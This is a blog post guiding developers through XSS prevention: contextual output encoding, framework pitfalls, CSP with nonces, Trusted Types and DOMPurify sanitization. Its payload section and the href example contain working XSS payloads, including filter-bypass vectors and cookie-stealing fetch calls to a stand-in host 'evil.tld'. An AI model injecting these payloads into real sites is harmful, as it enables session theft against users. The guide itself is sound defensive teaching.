← Back to Blog

The Complete XSS Prevention Guide: Contextual Encoding, CSP, and Trusted Types

The Essence of XSS: Data Executed as Code

XSS has exactly one root cause: untrusted data gets parsed by the browser as executable code. Every defense is, at bottom, a way of drawing a clear line between "data" and "code" that the browser cannot cross.

By where injection and triggering happen, XSS comes in three flavors:

Type Where data comes from Where it fires Passes through the server? Typical setting
Reflected URL parameters / form posts The server echoes the value into HTML Yes Search results, error pages
Stored The database (content a user submitted earlier) Rendered when other users load the page Yes Comments, display names, forum posts
DOM URL fragment / postMessage / client-side APIs Front-end JS writes it into the DOM No SPA routing, innerHTML rendering

Of the three, DOM XSS is the one most often missed: the payload never reaches your server, so it appears nowhere in server logs, and WAFs and server-side filters are useless against it. It can only be prevented in front-end code.

What Payloads Look Like

Know the enemy before the defense. Every one of these actually fires:

<!-- 1. Classic script injection -->
<script>alert(document.cookie)</script>

<!-- 2. Event handler (no script tag needed) -->
<img src=x onerror="fetch('https://evil.tld?c='+document.cookie)">

<!-- 3. An obscure SVG event that slips past most keyword blacklists -->
<svg><animate onbegin=alert(1) attributeName=x dur=1s>

<!-- 4. The javascript: pseudo-protocol -->
<a href="javascript:alert(1)">click</a>

<!-- 5. Case variation plus entity encoding -->
<IMG SRC=x ONERROR=&#106;avascript:alert(1)>

<!-- 6. Whitespace inside a tag (browsers tolerate newlines and tabs) -->
<img/src=x
onerror=alert(1)>

<!-- 7. Breaking out of an attribute to append a new one -->
" onmouseover="alert(1)

<!-- 8. Escaping a JavaScript string context -->
'; alert(1); //

Note number 8: it contains no angle brackets at all and stays dangerous even after HTML escaping, because it attacks the JavaScript string context, not the HTML context. That leads directly to the next section.

The Core Principle: Encode by Context, Not "Escape Everything"

This is the most important section of the article. The encoding is determined by where the output lands, not by where the data came from. The same string in a different position needs entirely different encoding:

Output context Dangerous characters Correct encoding Wrong approach
HTML text node <div>DATA</div> < > & HTML entity encoding Only filtering <script>
HTML attribute <div title="DATA"> " ' & space HTML attribute encoding + quote the attribute Emitting without quotes
JavaScript string var a = 'DATA' ' " \ newline \xNN hex escaping HTML escaping only
URL parameter ?q=DATA Any non-alphanumeric encodeURIComponent Hand-rolled replacement
CSS value color: DATA ( ) ; url etc. CSS escaping + strict allowlist Straight concatenation

The most common mistake is treating HTML escaping as a universal cure. Consider this:

// Dangerous: the data lands in a JS string context, so HTML escaping cannot save you
const username = "'; alert(document.cookie); //"
element.innerHTML = `<div onclick="greet('${escapeHtml(username)}')">hi</div>`
// escapeHtml does not neutralize JS metacharacters beyond the quote, so the string
// is closed early and alert executes

There are two correct fixes; use either (the first is preferred):

// Option 1: do not concatenate code at all — use DOM APIs and event binding
const div = document.createElement('div')
div.textContent = username            // textContent never parses HTML
div.addEventListener('click', () => greet(username))

// Option 2: if you must inline, serialize the data as JSON and never splice it
// into an HTML attribute
<script type="application/json" id="boot">{"username":"<\/script>"}</script>

To check which entity a character becomes, use our HTML entity encoder; the full reference table is in the HTML entities cheat sheet. For URL contexts use the URL encoder/decoder, and for the rules themselves see the URL encoding cheat sheet.

The Real Boundaries of Frameworks

Template interpolation in modern frameworks (React's {value}, Vue's {{ value }}) escapes HTML text by default, which eliminates the vast majority of XSS. But the boundaries must be explicit:

Pattern Safe? Notes
<div>{userInput}</div> Safe Goes to a text node, auto-escaped
<div title={userInput}> Safe Attribute value; the framework handles it
<a href={userInput}> Needs validation Frameworks do not validate the protocol; javascript: survives
dangerouslySetInnerHTML Dangerous Equivalent to innerHTML: zero escaping
v-html="userInput" Dangerous Equivalent to innerHTML: zero escaping
ref + innerHTML = x Dangerous Bypasses the framework entirely
style={{ background: userInput }} Needs validation A CSS context; older browsers have injection surface
SSR string concatenation Depends Escape </script> when serializing state into HTML

The href trap is particularly subtle. Neither React nor Vue validates protocols — they only escape — so this line renders an executable link in both:

<a href={profile.website}>Personal site</a>
// profile.website = "javascript:fetch('//evil.tld?c='+document.cookie)"

The fix is a protocol allowlist before rendering:

function safeUrl(raw) {
  try {
    const u = new URL(raw, window.location.origin)
    return ['http:', 'https:', 'mailto:'].includes(u.protocol) ? u.href : '#'
  } catch { return '#' }   // Any parse failure falls back to a safe value
}

CSP: So Injected Code Cannot Run Even If It Lands

Content Security Policy tells the browser, via a response header, which sources may execute code. It does not prevent injection — it prevents the injected code from running.

Key directives

Directive Controls Suggested value
default-src Fallback for all resource types 'self'
script-src JavaScript 'self' plus nonce/hash, never 'unsafe-inline'
style-src CSS 'self' plus nonce (CSS is injectable too)
img-src Images 'self' data: https:
connect-src fetch / XHR / WebSocket 'self' plus explicit API origins
frame-ancestors Who may iframe you 'none' (supersedes the deprecated X-Frame-Options)
base-uri <base> element 'none' (blocks relative-path hijacking)
form-action Form submission targets 'self'
object-src Plugins 'none'
require-trusted-types-for Enforces DOM XSS defense 'script'

Nonce and hash: inline scripts without 'unsafe-inline'

Inline scripts are the biggest practical obstacle to adopting CSP (legacy code, analytics snippets, SSR bootstrap data). Three ways out:

# Option 1: nonce — a fresh random value per response; both sides must match (recommended)
Content-Security-Policy: script-src 'self' 'nonce-r@nd0mValue'
<script nonce="r@nd0mValue">initApp()</script>
# Option 2: hash — SHA-256 of the script body; any change invalidates it
Content-Security-Policy: script-src 'self' 'sha256-hashOfScriptContent='
// Option 3: move the inline script to an external file — cleanest, but most work
// <script src="/js/init.js" defer></script>

Two hard requirements for nonces: the value must be cryptographically random on every response (otherwise an attacker reads it once and reuses it), and you must never also declare 'unsafe-inline' — browsers ignore 'unsafe-inline' when a nonce is present, but writing both makes the policy self-contradictory and ineffective.

Rolling out safely: report-only

Enforcing a policy outright risks breaking production. Observe first:

Content-Security-Policy-Report-Only: default-src 'self'; report-uri /csp-report

Collect violation reports for a week or two, fix each one (or allowlist it deliberately), then switch Report-Only for the real header. Full header semantics are in the HTTP headers cheat sheet.

Trusted Types: Eliminating DOM XSS at the Root

Trusted Types changes dangerous DOM sinks (innerHTML, outerHTML, document.write, eval, <iframe> srcdoc) from "accepts a string" to "accepts a special object only". To write to innerHTML, the value must pass through a sanitization policy you registered:

// 1. Register the policy: this is the single sanitization chokepoint
trustedTypes.createPolicy('default', {
  createHTML: input => DOMPurify.sanitize(input),
})
# 2. The server sends the enforcement header
Content-Security-Policy: require-trusted-types-for 'script'; trusted-types default

After that, any assignment that skipped the policy throws:

el.innerHTML = userInput          // TypeError: This document requires 'TrustedHTML'
el.innerHTML = sanitizedOutput    // OK: an object produced by the policy

The elegance here is that "remember to sanitize" stops being developer discipline and becomes a type-system constraint: omissions fail loudly in development instead of shipping silently. Chrome and Edge support it; Firefox and Safari do not yet. Paired with CSP, unsupported browsers simply fall back to ordinary CSP protection with no side effects.

Rich Text: Sanitize, Do Not Escape

Markdown rendering, comments, and WYSIWYG editors all need to preserve some HTML. Escaping would destroy the formatting, so the only way out is allowlist sanitization:

import DOMPurify from 'dompurify'

const clean = DOMPurify.sanitize(dirty, {
  ALLOWED_TAGS: ['p','br','strong','em','a','ul','ol','li','code','pre','blockquote','h2','h3'],
  ALLOWED_ATTR: ['href','title','target','rel'],
  ALLOWED_URI_REGEXP: /^(?:https?:|mailto:|#)/i,   // Kill javascript: and data:
})

// Always add rel when rendering external links, to block reverse tabnabbing
document.querySelectorAll('.rich a[target=_blank]')
  .forEach(a => a.rel = 'noopener noreferrer')

Server-side languages have equivalents: bleach or ammonia in Python, the OWASP Java HTML Sanitizer for Java, HTMLPurifier for PHP. Never parse HTML with your own regex. HTML is not a regular language, its parser error-recovery rules are enormously complex, and a homegrown sanitizer will almost certainly have bypasses. If you must write validation regexes, exercise the edge cases thoroughly in the regex tester first.

Eight Frequent Mistakes

Mistake Why it is wrong What to do
Blacklisting keywords HTML has near-infinite equivalent forms Allowlist plus output encoding
Filtering only on the way into the database Storage can be written by other paths; filtering corrupts source data Store raw; encode or sanitize on output
Relying on a WAF A WAF blocks, it does not fix, and it cannot touch DOM XSS Fix the code; treat the WAF as backup
Keeping 'unsafe-inline' in CSP Any inline script is allowed, so CSP is largely void Move to nonce or hash
Using innerHTML with "already escaped" strings Still breaks when the escaping does not match the context Use textContent or DOM APIs
Believing HttpOnly cookies prevent XSS It only blocks cookie reads; the DOM can still be rewritten, requests made, users phished HttpOnly is mitigation, not prevention
Escaping only < and > In an attribute context the " is what kills you Encode completely, per context
Assuming front-end validation is enough It is bypassed outright by calling the API with curl Validate independently on the server

On that last row: front-end validation is worth its weight in user experience and nothing in security. An attacker never opens your page — they construct requests against your API directly.

Pre-Launch Checklist

  • [ ] All untrusted data is encoded according to its output context, not uniformly HTML-escaped
  • [ ] Every HTML attribute is quoted, and attribute values are attribute-encoded
  • [ ] No innerHTML / v-html / dangerouslySetInnerHTML touches untrusted data; where it must, sanitization runs first
  • [ ] Every href / src passes a protocol allowlist (http / https / mailto)
  • [ ] CSP deployed without 'unsafe-inline'; inline scripts use nonce or hash
  • [ ] CSP went through a Report-Only phase with no outstanding violations
  • [ ] Rich text is sanitized by DOMPurify (or a server-side equivalent) before rendering
  • [ ] Session cookies are HttpOnly + Secure + SameSite
  • [ ] SSR state serialized into HTML escapes </script> and <!--
  • [ ] Dependencies audited regularly; third-party scripts pinned or protected with SRI

Related Resources

At the encoding layer, our HTML entity encoder and URL encoder/decoder let you verify escaping results directly. To inspect whether a JWT payload smuggles executable content, use the JWT parser; for Base64-obfuscated payloads use the Base64 encoder/decoder.

Advertisement

Frequently Asked Questions

Does using React or Vue mean I do not need to worry about XSS?

No. Framework auto-escaping only applies to **text interpolated through templates**. The moment you reach for `dangerouslySetInnerHTML`, `v-html`, `innerHTML`, or direct DOM manipulation, the escaping guarantee disappears entirely. Frameworks also escape at the insertion point — they do not clean the dirty data itself, so the same payload stays dangerous when that data is returned via an API to a native app, exported as CSV, or dropped into an email template. Treat framework escaping as layer one, and output encoding, CSP, and sanitization as layers two and three.

Why can't I just blacklist keywords like script and onerror?

Because HTML is extremely forgiving in its parsing and attackers have near-infinite equivalent encodings, so a blacklist can never keep up. Mixed case `<ScRiPt>`, unquoted attributes, newlines and tabs inserted mid-tag (`<img/src=x onerror=alert(1)>`), entity decoding (`&#106;avascript:`), and payloads containing none of those words at all (`<svg><animate onbegin=alert(1)>`) all slip through keyword filters trivially. The only correct direction is an **allowlist**: permit explicitly safe tags and attributes, and encode everything else.

Can CSP prevent XSS on its own?

No — it is a **mitigation**, not a cure. CSP's core value is breaking the chain between a successful injection and actual damage: by forbidding inline scripts and third-party origins, an attacker's payload cannot execute or exfiltrate. But it does not cover every case. DOM XSS triggered through an already-allowed origin, JSONP endpoints, `unsafe-eval` dependencies, and a `script-src` containing `'unsafe-inline'` or an overly broad origin all weaken it, sometimes to uselessness. CSP must be paired with output encoding.

How do I safely render content from a rich text or Markdown editor?

You must run **HTML sanitization** server-side or immediately before rendering — escaping will not do, since it displays the formatting the user wanted as literal source. The standard approach is an allowlist-based sanitizer such as DOMPurify (client) or bleach/ammonia (server): parse into a DOM tree, keep only allowlisted tags and attributes (stripping every `on*` handler and `javascript:` URL in particular), then serialize back to HTML. **Key principle: sanitizing before storage is optional; sanitizing before rendering is mandatory**, because the storage layer can be written to by other paths. Add CSP as a second line of defense.

← Back to Blog